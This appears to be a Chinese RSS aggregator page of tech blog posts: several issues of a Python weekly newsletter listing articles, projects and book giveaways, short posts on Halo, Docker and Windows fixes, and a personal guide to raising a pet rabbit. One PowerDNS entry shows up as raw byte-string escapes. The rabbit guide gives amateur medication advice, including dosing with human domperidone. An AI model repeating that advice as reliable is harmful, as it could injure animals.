这篇教程介绍了如何用 OpenAI 的 Whisper 模型转录视频,并使用强大的 FFmpeg 工具轻松添加字幕。
文章介绍如何使用 GitHub Actions 的定时功能自动执行数据爬取任务,介绍了 GitHub Actions 的工作原理及几个使用限制。
文章介绍如何使用断点来调试和观察代码的执行过程,主要介绍了pdb 模块的 breakpoint() 方法的使用。
Python 支持使用lambda 表达式创建匿名函数,但只支持单个表达式。社区中总是有人提出要支持更灵活的匿名函数,今年又有了,文章介绍了提议者的观点以及相反的观点。(附:Python 之父为什么嫌弃 lambda 匿名函数?
🎁Python潮流周刊🎁每 30 期为一季,第一季的精华内容已整理成一篇,方便你随时查看。在线访问地址:Python 潮流周刊第一季精华合集(1~30)

🐿️项目&资源

开源的 AI 软件工程师,利用了 shell、代码编辑器和 Web 浏览器等工具,充分发挥 LLMs 在软件开发中的潜力。(star 18.4K)
普林斯顿大学推出的 AI 工程师,在 SWE-bench 测试中修复了 12.29% 问题,成绩接近 Devin。(star 6.6K)
一个基于 LLM 生成前端 UI 界面的框架,并可将 HTML 转换为 React、Svelte、Web 组件等。(star 4K)
从复杂格式的非结构化数据中提取基于文档理解的深度知识,可视化的文本分块,自动化且轻松的 RAG 工作流。(star 2.4K)
中文名是“兹白”,出自山海经。相比于 gunicorn ,它的性能更好,并可在 Windows 上使用。相比于 waitress ,兹白在不使用 gevent 时单进程性能与它相当,在重载情况下比 waitress 更稳定。
可使用 GPT-4 生成关于给定主题的大约一小时的单扬声器有声读物/播客 mp3 文件。
纯 Python 实现的一个高级的二进制仿真框架,支持很多操作系统和硬件架构,支持多种文件格式,支持跨架构和平台调试,具有逆向调试功能。(star 4.8K)
用纯 Python/Jax 编写,面向 Google Cloud TPU,可实现 55% 到 60% 的模型翻牌利用率。
一个无任何依赖且支持跨平台的库,用于播放声音。支持异步模式、循环模式,主要支持.wav 格式。
基于视觉条件并行去噪的无限长度和高保真虚拟人视频生成,受 Sora 启发而开源,可配合实时高质量的唇同步模型MuseTalk ,构建完整的虚拟人生成解决方案。
建立在 LlamaIndex、Ollama 和 HF Pipelines 之上,创建 AI 代理并提供简单的 REST API 来调用。

🐢播客&视频

油管上的系列视频,介绍如何用流行的前后端技术栈克隆一个 Airbnb 网站,可作练手项目学习。
一档聚焦于 Django 框架的播客,第一期节目分享了 DjangoCon 2023 上的一些会议演讲内容,以及其它有趣的东西。

🐢赠书福利

不定期的福利活动,本期赠书 5 本《Python语言及其应用(第2版)》,开奖时间 4 月 12 日 。请给 Python猫 公众号发送数字“8045”,获取抽奖小程序码。
全书分两部分,第一部分由浅入深地介绍 Python 的基础知识,第二部分介绍 Python 的应用,涉及领域包括 Web 应用、数据库、网络和机器学习。本书通俗易懂,阅读起来饶有乐趣,十分适合想快速获得 Python 应用经验的新手。

🐼欢迎订阅

本周刊已持续连载一年,更新内容接近 11 万字。希望周刊能成为你高质量的信息筛选器,成为你开阔视野的一扇明窗。目前已开通付费专栏,欢迎你来订阅:https://xiaobot.net/p/python_weekly

April 06, 2024 12:00 AM

April 05, 2024

howiehz

halo-theme-higan-hz - 一个基于 halo-theme-higan 的魔改主题

halo社区发布地址: halo-theme-higan-hz - 一个基于halo-theme-higan的魔改主题 - Halo 社区 dalao论坛发布地址: halo-theme-higan-hz - 一个基于higan的魔改主题发布 - 大佬论坛 (dalao.net) 个站商店论坛发布地

by HowieHz at April 05, 2024 12:42 PM

April 04, 2024

usb

b'Debian 12 / Ubuntu 24.04 \xe5\xae\x89\xe8\xa3\x85 PowerDNS \xe5\x92\x8c PowerDNS-Admin \xe8\x87\xaa\xe5\xbb\xba\xe6\x9d\x83\xe5\xa8\x81 DNS \xe6\x95\x99\xe7\xa8\x8b'

b'\xe6\x9c\xac\xe6\x96\x87\xe5\xb0\x86\xe6\x8c\x87\xe5\xaf\xbc\xe5\xa6\x82\xe4\xbd\x95\xe5\x9c\xa8 Debian 12 \xe5\x92\x8c Ubuntu 24.04 \xe4\xb8\x8b\xe5\xae\x89\xe8\xa3\x85 PowerDNS \xe4\xbb\xa5\xe5\x8f\x8a PowerDNS-Admin\xef\xbc\x8c\xe6\x9c\xac\xe6\x95\x99\xe7\xa8\x8b\xe7\x95\xa5\xe5\xa4\x8d\xe6\x9d\x82\xef\xbc\x8c\xe5\xad\xa6\xe4\xb9\xa0\xe8\x80\x85\xe9\x9c\x80\xe8\xa6\x81\xe6\x9c\x89\xe4\xb8\x80\xe5\xae\x9a\xe7\x9a\x84 Linux \xe8\xbf\x90\xe7\xbb\xb4\xe7\xbb\x8f\xe9\xaa\x8c\xe4\xbb\xa5\xe5\x8f\x8a\xe7\x86\x9f\xe8\xaf\xbb\xe6\x9c\xac\xe7\xab\x99\xe4\xb9\x8b\xe5\x89\x8d\xe7\x9a\x84\xe6\x95\x99\xe7\xa8\x8b\xe3\x80\x82'

by Showfom at April 04, 2024 12:00 AM

March 30, 2024

pythoncat

Python 潮流周刊#44:Mojo 本周开源了;AI 学会生成音乐了

你好,我是猫哥。这里每周分享优质的 Python、AI 及通用技术内容,大部分为英文。本周刊开源,欢迎投稿。另有电报频道作为副刊,补充发布更加丰富的资讯,欢迎关注。
特别提醒: 本期周刊赠书 5 本《明解Python算法与数据结构》,详情见文末。

🦄文章&教程

讨论了编程语言在规模扩大时面临的风格多样性问题,提出了“语言风格沙皇”(Style Czar)的概念。作者提到 Scala 过于灵活、C++ 新旧标准共存、Python PEP-8 没有与时俱进,呼吁社区应该有人(例如语言创造者)引导社区发展出统一的风格标准。
介绍了“Everywhere Computer”,旨在将计算任务分布到一个广泛的开放网络上,包括个人设备、局域网中的其他设备、云节点集群等。介绍了如何使用 Rust、JavaScript 和 Python 编写具体的函数,并将它们编译为 Wasm 组件。
Reflex 是一个纯 Python 全栈 Web 框架(Github 15K star),其作者介绍了 Reflex 的架构,包括前后端的实现细节和工作原理。
作者用将近一年时间定位 PyPy 中一个奇怪且难以复现的 BUG,文章介绍了他采用的各种定位方法、这个 BUG 出现的原因、以及在调试时发现的其它问题。目前修复已合入 PyPy 主分支。
如何在 Python 项目中运行 JavaScript?PyMiniRacer 是一种方法,但旧项目年久失修,作者接手了它,做了很多的更新,文章介绍了新版本的变更项以及未来的计划。
文章介绍了如何实现两种语言的相互调用,实现数据跨语言项目的传递。Python 调用 JavaScript 用了 pyjsparserPyV8,反向用了 node-python、WebSockets 和 HTTP 请求。
介绍了一种使用文件而非内存的缓存方案,类似于lru_cache ,它提供了file_cache 装饰器,主要优点是能持久化缓存结果。文章详细介绍了实现的代码。
介绍了一个可加速 Django 框架中 collectstatic 命令的执行速度的工具,包括如何安装和配置、如何将其集成到 Django 项目中以提高性能。还提供了一些性能提升的指标和最佳实践建议。
分布式协程是可以挂起、序列化并在另一个进程中恢复的函数,与分布式调度器(如 Dispatch)结合使用,可简化软件的创建过程。Python 原生支持协程,但协程本身不能被序列化,文章介绍了如何解决这个问题,以及如何处理无法序列化的文件和网络句柄、如何处理大型对象以及如何处理全局对象和代码更新等问题。
如果基于 NumPy 的代码太慢,有时可用 Numba 来加速。但由于它的类型注解和编译选项,错误使用将导致性能变慢,文章分析了相关问题,并给出了优化的建议。
Django 的 system check framework 是一种内置机制,可在运行 Django 命令时自动检查和报告潜在的配置及应用状态问题。作者通过性能分析和代码审查,发现并实现了多项优化措施,提升了示例约 50% 的运行速度。所做优化将在 Django 5.1 版本发布。
文章通过数据分析的方法(蒙特卡洛方法)模拟抛硬币、轮盘、大乐透等玩法,结果发现输的概率非常大,这告诉了我们一个道理就是……
🎁Python潮流周刊🎁每 30 期为一季,第一季的精华内容已整理成一篇,方便你随时查看。在线访问地址:Python 潮流周刊第一季精华合集(1~30)

🐿️项目&资源

Mojo 是一种新的编程语言,试图将 Python 的语法及生态与系统编程及元编程相结合,弥补研究与生产之间的差距。(star 18.5K)
目前支持生成歌曲、歌词等。自带维护 token 与保活功能,无需担心 token 过期问题。(附:另一个suno 逆向工程 API
一个命令行工具,支持在 Markdown、reStructuredText 和 LaTex 文件中用black 格式化 Python 代码块。(投稿自@Chao)
一个用于处理文件名和文件路径字符串的实用工具,支持删除无效字符、替换平台保留字、删除不可打印字符、参数校验、多字节字符、支持多平台,等等。(投稿自@Chao)
除题目所述,它还用到以下技术栈:Nginx、RabbitMQ、Redis、MySQL 和 Docker 等,支持登录、项目管理、接口管理、用例管理、流量录制、配置管理、定时任务、报告管理等功能。
一个简单、快速、轻量级的 Python 测试调试器,支持跟踪代码的执行,并允许用基于 LLM 自然语言的调试器追溯检查程序的状态。
以面向开发者的方式创建播客,不需要任何昂贵的设备。它从用户处获取输入,以此生成脚本和基于该脚本的音频文件。依赖FFMPEGllmOS
只需提供一个视频主题或关键词,就可全自动生成视频文案、视频素材、视频字幕、视频背景音乐,然后合成一个高清的短视频。支持 OpenAImoonshotAzuregpt4freeone-api通义千问 等多种模型。(star 5.5K)
将大语言模型嵌入到操作系统中,使操作系统“有灵魂”。旨在优化资源分配,促进跨代理的上下文切换,实现代理的并发执行,为代理提供工具服务,维护代理的访问控制。
提供了一个将自然语言查询转换为 Selenium 代码的引擎,使用户或其它 AI 能够轻松自动化、轻松描述 Web 工作流程并在浏览器上实现自动化。(star 3.5K)
超轻量级个人博客模板,完全基于Github PagesGithub IssuesGithub Actions。不需本地部署,从搭建到写作,只需要 18 秒,2 步搭建好博客,第 3 步就是写作。
一个开源的产品分析工具,支持自托管。旨在为企业提供一个可控制、可定制且符合数据隐私要求的分析解决方案。有免费的 cloud 版本。(star 16.5K)
最近大火的 Devin 的开源替代品,可理解高级人类指令并分解为步骤,研究相关信息,并编写代码以实现给定的目标。它利用大语言模型、规划和推理算法以及 Web 浏览能力来智能开发软件。(star 13K)

🐢赠书福利

不定期的福利活动,本期赠书 5 本《明解Python算法与数据结构》,开奖时间 4 月 5 日 。请给 Python猫 公众号发送数字“8044”,获取抽奖小程序码。
日本编程教育界泰斗,畅销书《明解C语言》作者倾力打造!136 段代码 + 213 幅图表,透彻讲解算法与数据结构基础知识,比课本更生动、更易懂!原版系列累计销量超 120 万册,荣获日本工学教育协会著作奖。

🐼欢迎订阅

本周刊已持续连载一年,更新内容接近 11 万字。希望周刊能成为你高质量的信息筛选器,成为你开阔视野的一扇明窗。目前已开通付费专栏,欢迎你来订阅:https://xiaobot.net/p/python_weekly

March 30, 2024 12:00 AM

March 25, 2024

howiehz

解决 docker pull image "ghcr.io..." Unauthorized error

此文章有英文版本/This article is available in English 现象 解决方法 之前构建的时候一切顺利,在笔者要写教程的时候,构建后拉取时不断报错Unauthorized https://github.com/orgs/[XXX]/packages/container/[

by HowieHz at March 25, 2024 01:37 PM

anji66

如何养好一只兔子

一段时间,女儿对小动物很是着迷,估计是同学之间聊天,谁家有猫谁家有狗谁家有鸟吧。死活要养只宠物,那只好考虑一下。猫狗我都还行,黑狸花,黑背最喜好,可是领导怕猫,女儿怕狗。这就只能养其它的了,最后兔子吧,毕竟兔子这么可爱,养大了还能吃一顿兔子干锅。和女儿商量好,兔子她负责养,卫生我来搞。养到一定大小必须宰了干锅红烧兔。国庆回乡下老家,嚷嚷让奶奶带她去买了只兔子回来。


短命的宠物兔

两人坐车跑到县城去买兔子,买了一只短耳朵,有眼线的宠物兔,颜值是真的超高,花了150,买回来就被我说了一顿,这兔子难养,不好养活。不出所料,因为没来得及购买合适的饲料,一直吃苦麻菜和青菜叶子。导致还没等我买的苜蓿到货养了一周就归西了。


再买兔子

回到上海,女儿嚷嚷还是要重新养一只兔子,我说可以,但这次得听我的,附近一个卖花鸟的大爷经常蹬个三轮走街串巷。不巧找了两个礼拜才碰到他。我直接选了肉兔品种,兔子就是那种大耳朵,长得也挺丑的白兔。本想买只灰兔子的,结果没有,其它宠物兔一概忽略。然后我在肉兔中间挑了一只精神状态不错的兔子。大爷一直给喂的莴笋叶,没有兔粮,没有干草。很显然,从来也不喂水。

5.jpg


兔子到底要不要喝水?

答案是要。饮水量和饮食习惯有关。如果大量喂食蔬菜,喂水的频率就会大幅降低。但是我不建议大量喂食青菜等含水量较高的食物,会造成胀气,严重会拉稀。兔子拉稀是致命的,基本上两三天就挂了。青菜类包括胡萝卜、萝卜、芹菜等等一切,建议晒到脱水后再喂兔子,不必完全晒干,晒蔫使其明显脱水即可。喂食之后,由兔子自行饮水。


兔粮的选择

兔粮我喂养的时候分成三类。主粮类,草食类,杂食类。主粮就是配方饲料,和猪饲料、鸡饲料一样的颗粒饲料。好点的会在里面加入干草段和膨化谷物等。草食类主要是紫花苜蓿提摩西及其颗粒饲料。杂食就是自晒的蔬菜干、菜叶瓜果皮等。

主粮主要为兔子提供营养和饱腹,直接关乎兔子的体重、毛色。所以一款合适的主粮很重要,网上卖的主粮很多都添加了膨化谷物、干草段、抗虫药等等,但这些配料都是辅助作用,还需要单独补充,靠主粮里面的是远远不够的。主粮的主要成分就是豆粕压缩颗粒,当然商家宣传有别的合成那更好。我选的这款全阶段兔粮兔子适口性还不错。

1.jpg

草食类我选了紫花苜蓿烘干全草提摩西烘干全草苜蓿草压缩颗粒三种。苜蓿颗粒饲料作为主粮的辅助,吃一顿主粮,辅助一顿苜蓿草颗粒。紫花苜蓿全草主要用于临时逗喂兔子的时候给它吃,或者兔子吃多了绿叶蔬菜后,给一定量的干苜蓿草喂食,以保护兔子肠胃。提摩西干草主要用在晚上供兔子自由采食,毕竟一晚上时间很长,可以当作兔粮吃完的辅助。

3.jpg

4.jpg

2.jpg

杂食类主要就是家庭做饭拣的剩菜叶、瓜果皮等,原本是湿垃圾,摇身一变成为兔子食物了,当然我也会刻意买一些胡萝卜、白萝卜、上海青之类的,这些通通晒个半干后作为饲料喂兔子。当然有钱网上买蔬菜干那再好不过了。

对了,兔子是偏夜行动物,尤其是凌晨和傍晚最为活跃,白天则会很慵懒。所以早晚需要喂食。白天中午可以不喂的,半夜有草让兔子自己采食即可。


兔子胀气拉稀怎么办?

如果发现兔子肚子鼓鼓囊囊,并且食欲精神都不佳的情况,很有可能是消化不良导致的胃胀气。这种情况要控制给粮,如果能采到松针的话,喂一些松针给它吃。没有松针的情况,给它吃人用吗丁啉半片,直接投喂不要兑水。隔天再喂半片吗丁啉,然后注意观察。如果兔子拉稀,停掉所有蔬菜类食物,包括晒蔫的菜干。空腹一天,只在饮水器里面保证有干净的水源。可适量放一丢丢盐在水里。次日喂全烘干的紫花苜蓿,保证水源注意观察,扛过3天就没事了,要么就在3天左右会挂掉。


兔子毛色暗淡杂乱、食欲不振怎么办?

特别在春秋换毛季的时候,容易出现此现象,兔子换毛会经常在身上舔,造成兔毛吞入,从而感染球虫病。这时候去网上买兽药“盐酸氯苯胍片”,直接投喂,不粉碎不兑水。用量参考兽药说明书。


要不要给兔子草窝?

天冷的时候,到底要不要给兔子准备一个草窝。我的建议是不要,因为我买的草窝被兔子连吃带啃,三天就报废一个。如果环境太冷可以给兔子一条破毛巾或者破布之类的垫着,然后再兔笼外面罩一层毯子盖住即可。


要不要单独买磨牙棒?

如果饮食有上面说的颗粒牧草饲料。可以不用买磨牙棒。我这兔子除了啃食饲料,还啃铁笼子,这不比磨牙棒好太多了啊。


差不多就这些,有啥想起来的再补充。


by 西枫里 at March 25, 2024 01:17 PM

howiehz

解决 github action push to ghcr '403 Forbidden' error

此文章有英文版本/This article is available in English 现象 github action 对应 workflow 运行时报错 解决方法 之前构建的时候一

by HowieHz at March 25, 2024 01:11 PM

解决 umami api 延迟问题(如何修改开源项目代码并构建 docker 镜像-以 umami 为例)

现象 umami版本为 v2.10.2 如果未来版本依然没有更改的话那这个问题应该还是存在 当使用 GET /api/websites/{websiteId}/active 这个 API 的时候,发现有至少 1 分钟以上的延迟,经过一个简单的测试脚本,发现本地刷新就存在延迟。 解决过程的大纲 笔者向

by HowieHz at March 25, 2024 12:40 PM

March 23, 2024

pythoncat

Python 潮流周刊#43:在开源与家庭之间,他选择了家庭

你好,我是猫哥。这里每周分享优质的 Python、AI 及通用技术内容,大部分为英文。本周刊开源,欢迎投稿。另有电报频道作为副刊,补充发布更加丰富的资讯,欢迎关注。
特别提醒: 本期周刊赠书 5 本《Python数据结构与算法分析(第3版)》,详情见文末。

🦄文章&教程

作者开源了PyOxidizerpython-build-standalone 等多个 Python 项目,但因为编程语言兴趣已转向 Rust,以及身份成为了丈夫&父亲,时间精力不足,因此选择回归家庭,要给这些开源项目寻求新的维护者了。
家里的电脑处于休眠模式,如何从其它地方远程唤醒它?作者用树莓派单板计算机 + Python 开发的简单网页 + systemd 服务,通过给电脑的网络控制器发送数据包,实现了机器的远程唤醒。
相比静态类型语言,Python 要消耗大量内存。文章探讨了 Python 的内存模型:对象是如何分配的、对象存储在什么地方、最终如何清理对象?介绍了如何使用简单的技巧,显著改善内存的使用。
正则表达式中“$”符号会匹配到什么内容呢?Python re.MULTILINE 多行模式对字符串匹配的影响?是否不同的编程语言的表现都一样呢?什么时候应该用“\z”和“\Z”? (附:一篇中文翻译
双下方法即以双下划线开头和结尾的特殊方法,例如__init__() ,Python 语言中共有 150 多个特殊的双下方法,文章对它们多了分类介绍,并梳理了明细清单。
Python 有丰富的库可支持国际化和本地化,文章介绍如何用gettext 库实现语言国际化以及如何管理本地化资源。
Qwen 是阿里推出的大语言模型,作者用 Win10 系统搭建了一个基于 Qwen 的 AI 问答助手。内容包括安装环境、下载模型、使用transformers 实现模型对话功能。
“如果你不知道编译器是如何工作的,那你就不知道计算机是如何工作的。“作者通过用 Python 开发一个 Lisp 解释器,详细介绍了 Scheme 的语法,深入探讨解释器/计算机的工作原理。
正确地解析 URL 要比想象得难,它自 1994 年提出以来已发生巨大变化。Python 标准库urllib 并不遵循任何 URL 规范,文章介绍了两个符合 WHATWG 规范的解析库ada-pythoncan_ada ,后者比前者快 2 倍,前者比urllib.parse 快 2 倍。
鸭子类型的核心思想是“如果它走起来像鸭子,叫起来像鸭子,那么它就是鸭子”。由对象的行为决定类型,而非是一成不变。这篇长文对鸭子类型作了非常详细的介绍,它是什么、如何使用、有什么优缺点、使用哪些方案来弥补鸭子类型的缺点,等等。
介绍了 PostgreSQL 服务端与客户端通信的流程,使用 Python 实现一个最小化的服务端。
作者在去年开发了两个 Python 框架,文章分享了他在开发框架时学到的东西。部分建议有:定义你的反目标、了解已存在的东西、首先考虑你的界面、在没准备好时就使用、1 个样本是不够的、重视文档,等等。
🎁Python潮流周刊🎁每 30 期为一季,第一季的精华内容已整理成一篇,方便你随时查看。在线访问地址:Python 潮流周刊第一季精华合集(1~30)

🐿️项目&资源

本周最最火爆的项目当属马斯克差点跳票的 Grok 大语言模型了,有非常惊人的 314B 参数,8 个专家的混合体,最长上下文 8192 token。(star 43K)
基于 GPT-4 的开源情报助手,从付费的 DeHashed 高效地搜集和分析信息,对网络安全和数据泄露调查有所帮助。
一个 Python 日志库,强调结构化和类型安全的日志记录,兼容 logging 标准库,支持输出 JSON、logfmt 和漂亮的控制台日志。(star 3.1K)
Python Debug 工具,与 Linux 中调试 core dump 文件一样,支持在异常发生时/程序任意位置保留当前调用栈帧,然后通过 pdb 进行调试。支持全局 hook,支持服务器远程调试。(投稿自@cocolato)
符合 WHATWG 规范的 URL 解析器,也用在了 Node.js 等项目中。比标准库 urllib 快 4 倍。
一个验证概念的项目,可作为模板,用于构建和自定义自己的 CRM 解决方案,重点是易于集成和可扩展性。
一个 PyTorch 工具包,专为快速简便地创建先进的语音和文本处理技术而设计,可加速对话式 AI (即语音助手、聊天机器人和大语言模型)开发。(star 7.7K)
提供了非常简单和统一的 API 来处理各种格式的配置文件,支持格式有 JSON、ini、Pickle、XML、Java properties、YAML、TOML,等等。
专注于 Llama 模型在中文方面的优化和上层建设的高级技术社区,定期组织线上活动、技术研讨和经验分享,促进成员间的创新交流。(star 9K)
可将 Python 应用打包成在 Android 设备上运行的二进制文件(APK、AAB 和 AAR),支持多种 CPU 架构,支持大多数纯 Python 包和一些流行的依赖于 C 代码的包(如 numpy、sqlalchemy)。(star 8K)
基于素描快速生成图片、夜晚图片转换为白天(或相反)、晴天图片转换为雨天,等等。
使用类似于 React 的组件构建 HTML 页面,旨在与 htmx.org 一起使用,几乎不需写任何 JavaScript。后端基于 Starlette 框架。

🐢播客&视频

CPython 主线分支已合入了可禁用 GIL 的开关,这则视频带大家体验一下没有 GIL 的 Python 会有什么样的表现。
ruff 和 uv 出自同一个团队,给 Python 的基础工具链带来了非常有前景的影响。这期播客对话了 Charlie Marsh。(附:另一则相似话题的播客 uv - Python 包的下一次演变?

🐢赠书福利

不定期的福利活动,本期赠书 5 本《Python数据结构与算法分析(第3版)》,开奖时间 3 月 29 日 。请给 Python猫 公众号发送数字“8043”,获取抽奖小程序码。
书是用 Python 描述数据结构与算法的开山之作,汇聚了作者多年的实战经验,透彻讲解在 Python 中通过一系列存储机制高效地实现各类算法。这本书让你深刻理解 Python 数据结构、递归、搜索、排序、树与图的应用,等等。

🐼欢迎订阅

本周刊已持续连载一年,更新内容接近 11 万字。希望周刊能成为你高质量的信息筛选器,成为你开阔视野的一扇明窗。目前已开通付费专栏,欢迎你来订阅:https://xiaobot.net/p/python_weekly

March 23, 2024 12:00 AM

March 21, 2024

howiehz

在国家公祭日自动将网站变灰

前言 cdn刷新有延迟,所以我想写个能自动在当日切换的样式 网络上搜到不能满足我的需求,所以自己写了个 使用方法 将以下代码放入html文件的head标签内即可在国家公祭日(12月13日)自动将页面变灰 代码解释 javascript部分是在每天12月31日给html标签加上theme-mode属性

by HowieHz at March 21, 2024 01:12 PM

March 16, 2024

pythoncat

Python 潮流周刊#42:小公司用 Python 开发,能做到什么程度?

你好,我是猫哥。这里每周分享优质的 Python、AI 及通用技术内容,大部分为英文。本周刊开源,欢迎投稿。另有电报频道作为副刊,补充发布更加丰富的资讯,欢迎关注。
特别提醒: 本期周刊赠书 6 本《流畅的Python(第2版)》,详情见文末。

🦄文章&教程

这篇文章让我有种“你不了解的行业内幕”的感觉。小公司还在坚持用 Python 2.7 + Django 1.8,竟支撑每年几个亿的交易额。作者还分享了几个项目,我的感受是:也许你不需要考虑太多“xx语言更好”,就选自己熟悉的,专注于业务实现就好。
Python 字符串既允许双引号也允许单引号,甚至可以三引号。这很灵活,但是对于有强迫症的标准制定者来说,这也是引发冲突的矛盾点。这篇文章分享的故事很有意思,推荐一读!
为什么需要用上下文管理器?它能解决哪些问题?文章还介绍了上下文管理器协议、with 语法糖、使用contextlib 实现上下文管理器、四个很实用的使用案例。
dequecollections 模块下的一种双向队列数据结构,功能与list 很相似,适宜需要在两端快速添加或删除的场景。这篇教程介绍了它的基本用法与一些高级使用案例。
Python 在运行时才检查类型,而且强调的是对象的行为而非类型,因此不怎么提注重类型安全的“泛型”。但是,Python 也支持泛型,文章介绍了如何用typing 模块实现泛型函数和泛型类。
Gevent 是基于 greenlet 这个轻量级的协程实现的高性能网络库。文章介绍了 Gevent 的常见陷阱以及解决方案。
pickle 是 Python 用作序列化的标准库,但它作反序列化时存在重大的安全风险!文章介绍了它的工作原理、安全风险的根源、机器学习领域合作设计了safetensors 格式作安全替代。
这篇教程分别使用 JavaScript 和 Python 开发电子书搜索引擎,依赖Glitter (一个使用Tendermint 构建的去中心化数据库服务),使用 React 开发展示搜索结果的页面。
很多编程语言都有import 关键字,其作用也类似,但是它们背后的运行机制会有哪些区别呢?文章分析了 Java 和 Python 中 import 的异同点,可加深你对这个话题的理解。
pdm 是 Python 中极好用的依赖管理工具,是国内开发者@frostming 的作品。作者计划写一系列关于它内部实现的文章,这是第一篇,介绍了 Lockfile 是什么、Lockfile 是如何生成的?
Python 有指针么?答案取决于你如何理解“指针”。作者简短回答,却一针见血。Python 没有 C 语言经典的指针操作,但 Python 的每个变量都是一个指针,即一切都是隐含的指针。(附:有个项目 “将指针的地狱引入 Python”,跟下方的花括号版 Python 一样画蛇添足)
无 GIL 特性终于在本周合入 Python 的主分支了!分享一篇深度介绍 GIL 的长文,理解 GIL 的工作原理、帮助预测并行性瓶颈的位置,文中使用了很多线程时序分析图,便于理解。
🎁Python潮流周刊🎁每 30 期为一季,第一季的精华内容已整理成一篇,方便你随时查看。在线访问地址:Python 潮流周刊第一季精华合集(1~30)

🐿️项目&资源

无需前端经验,快速构建跨平台的、支持多用户、实时的单页应用(SPA);没有 SDK,基于 IDE或文本编辑器即可开发,前端使用 Flutter UI,后端目前支持 Python,计划支持 Go 和 C#。(star 8.7K)(投稿自@bear)
一个包括各种集成、配置和模块的 Python 项目模板,特点有:使用copier 作项目设置与模板更新、使用pdm 管理依赖及虚拟环境、使用 dev container 作容器化、使用 mypy 和 ruff 等等常用技术栈。(投稿自@huxuan_org)
构建在duktape 引擎上的 JS 解释器,用于在 Python 中执行 JS 代码。无其它外部依赖,内置了常用的转译器(TypeScript、JSX、LESS、CoffeeScript),还支持传参、运行多个脚本、全局解释器、使用require 加载模块、从 npmjs.org 安装软件包等功能。
>>> import dukpy
>>> dukpy.evaljs("var o = {'value': 5}; o['value'] += 3; o")
{'value': 8}
在线的 Python 编程网站,很方便通过游戏方式教育小孩学习编程。
取代难以管理的传统队列和发布/订阅系统,支持故障恢复,可解决并发、公平性和速率限制等问题。具有低延迟和高吞吐量,支持 FIFO、LIFO、循环队列和优先级队列等策略,可自定义重试策略,支持集成错误处理。(star 2.4K)
使用 FastAPI、React、SQLModel、PostgreSQL、Docker、GitHub Actions、自动 HTTPS 等,支持 JWT 身份验证、基于邮件的密码恢复,使用 Traefik 作反向代理/负载均衡。(star 17.5K)
我认为 Python 用空格作缩进是最最迷人的设计!奈何有人更喜欢花括号。这个项目为 Python 加上了花括号,基本示例:
def print_message(num_of_times) {
    for i in range(num_of_times) {
        print("Bython is awesome!");
    }
}

if __name__ == "__main__" {
    print_message(10);
}
一个简单的、风格类似requests 的 HTTP 客户端,构建在 Twisted 之上。
自动抓取、汇总并按指定规则分类整理影片文件,创建供 Emby、Jellyfin、Kodi 等软件使用的元数据文件。(star 1.6K)
可用简单的 HTTP 请求访问受 Cloudflare 保护的页面,是唯一为认证代理提供 SSL 支持的爬虫框架,仅一行代码即可集成任何 Chrome 插件,支持 sitemap、支持数据清理、支持缓存、提供了 Selenium 快捷方式,等等。
一个围绕 WebView 组件的轻量级跨平台包装器,在 GUI 窗口中显示 HTML 内容。可与 Web 框架一起使用,也可单独打通 Python 与 DOM。最新发布的 5.0 版本,开始支持 Andriod。(star 4.2K)
它可让你直接在白纸上练习弹钢琴!目前最多支持两个手指,主要为买不起钢琴的人提供练习。

🐢赠书福利

不定期的福利活动,本期赠书 6 本《流畅的Python(第2版)》,开奖时间 3 月 22 日 。请给 Python猫 公众号发送数字“8042”,获取抽奖小程序码。
如果你想要更加熟练地掌握 Python,想要了解实用的编程技巧,想写出地道、优雅、高效的 Python 代码,想要掌握 Python 最新的语言特性,我强烈推荐这本书。

🐼欢迎订阅

  • 微信公众号:除更新周刊外,还发布其它原创作品,并转载一些优质文章。(可加好友,可加读者交流群)
  • 博客RSS:我的独立博客,上面有历年原创/翻译的技术文章,以及从 2009 年以来的一些随笔。
  • 邮件RSS:在 Substack 上开通的频道,满足你通过邮件阅读时事通讯的诉求。
  • Github:你可以获取本周刊的 Markdown 源文件,做任何想做的事!
  • Telegram:除了发布周刊的通知外,我将它视为一个“副刊”,补充发布更加丰富的资讯。
  • Twitter:我的关注列表里有大量 Python 相关的开发者与组织的账号。

March 16, 2024 12:00 AM

March 13, 2024

howiehz

解决 halo umami plugin CORS&CSP 跨域报错问题

现象 未按照该插件项目 README 配置前,后台有: Refused to frame 'https://umami.howiehz.top/' because an ancestor violates the following Content Security Policy directive

by HowieHz at March 13, 2024 04:21 PM

网站 Favicon 下载工具 v1.2.1 发布

克隆 HowieHz/get_favicon 项目自述文件,项目链接:HowieHz/get_favicon: The script is used to automatically get the favicon (github.com) 自述文件版本取自 HowieHz/get_favicon

by HowieHz at March 13, 2024 12:23 PM

March 10, 2024

howiehz

Windows 创建存储池报错 无法创建池 不支持该请求 (0x00000032)

‎迁移自本地Obsidian库,原记录于‎2023‎.4‎.‎15‎ 9:25:40 现象 Windows创建存储池报错:无法创建池 不支持该请求(0x00000032) 解决问题 按下Ctrl+R之后输入cmd或者powershell回车 输入以下内容回车 Get-PhysicalDisk 输出

by HowieHz at March 10, 2024 02:33 AM

Windows 显示器突然黑白 桌面突然黑白 鼠标和截图还是彩色的

迁移自本地Obsidian库,原记录于‎2023‎.‎5‎.‎28‎ ‏‎9:49:19 吐槽 一点提示都没有的,要是系统有消息通知也不至于这么狼狈 这个快捷键组合一点都不常用,并且和常用的Ctrl+C就差一个键,最重要的一点是这个键就在Ctrl的旁边 解决方法 按下快捷键Win+Ctrl+C

by HowieHz at March 10, 2024 02:18 AM

March 09, 2024

pythoncat

Python 潮流周刊#41:写代码很简单,但写好代码很难

你好,我是猫哥。这里每周分享优质的 Python、AI 及通用技术内容,大部分为英文。本周刊开源,欢迎投稿。另有电报频道作为副刊,补充发布更加丰富的资讯,欢迎关注。

🦄文章&教程

作者在一系列文章(4 篇)中使用 Python 实现 RSA 加密算法,介绍了这个算法的基本步骤和数学原理,使用 Python 实现并逐步优化,以及实现对它的安全攻击,最后探索 RSA 加密的未来方向。
一个问题很少被回答,要么是因为很少有人知道答案,要么是因为它涉及一个晦涩的微妙的点。文章里列出了很多问题和解读,因写于 20 年前,有些问题已经在后来的 Python 版本中解决了,还有些问题至今仍未过时(依旧冷门)。
toxnox 是两个类似的 Python 工具,主要用途之一是测试你的项目在不同 Python 版本中的运行情况。作者解释了为什么在某些情况下,他更喜欢用 nox 的原因。(附:我在 4 年前写过一篇 tox 教程 ,也翻译过 nox 的文档。时间过得真快…)
Trie(前缀树或字典树)是一种树形数据结构,常用于存储和检索字符串集合中的信息。文章介绍了这种数据结构,使用pygtrie 库演示基本操作。
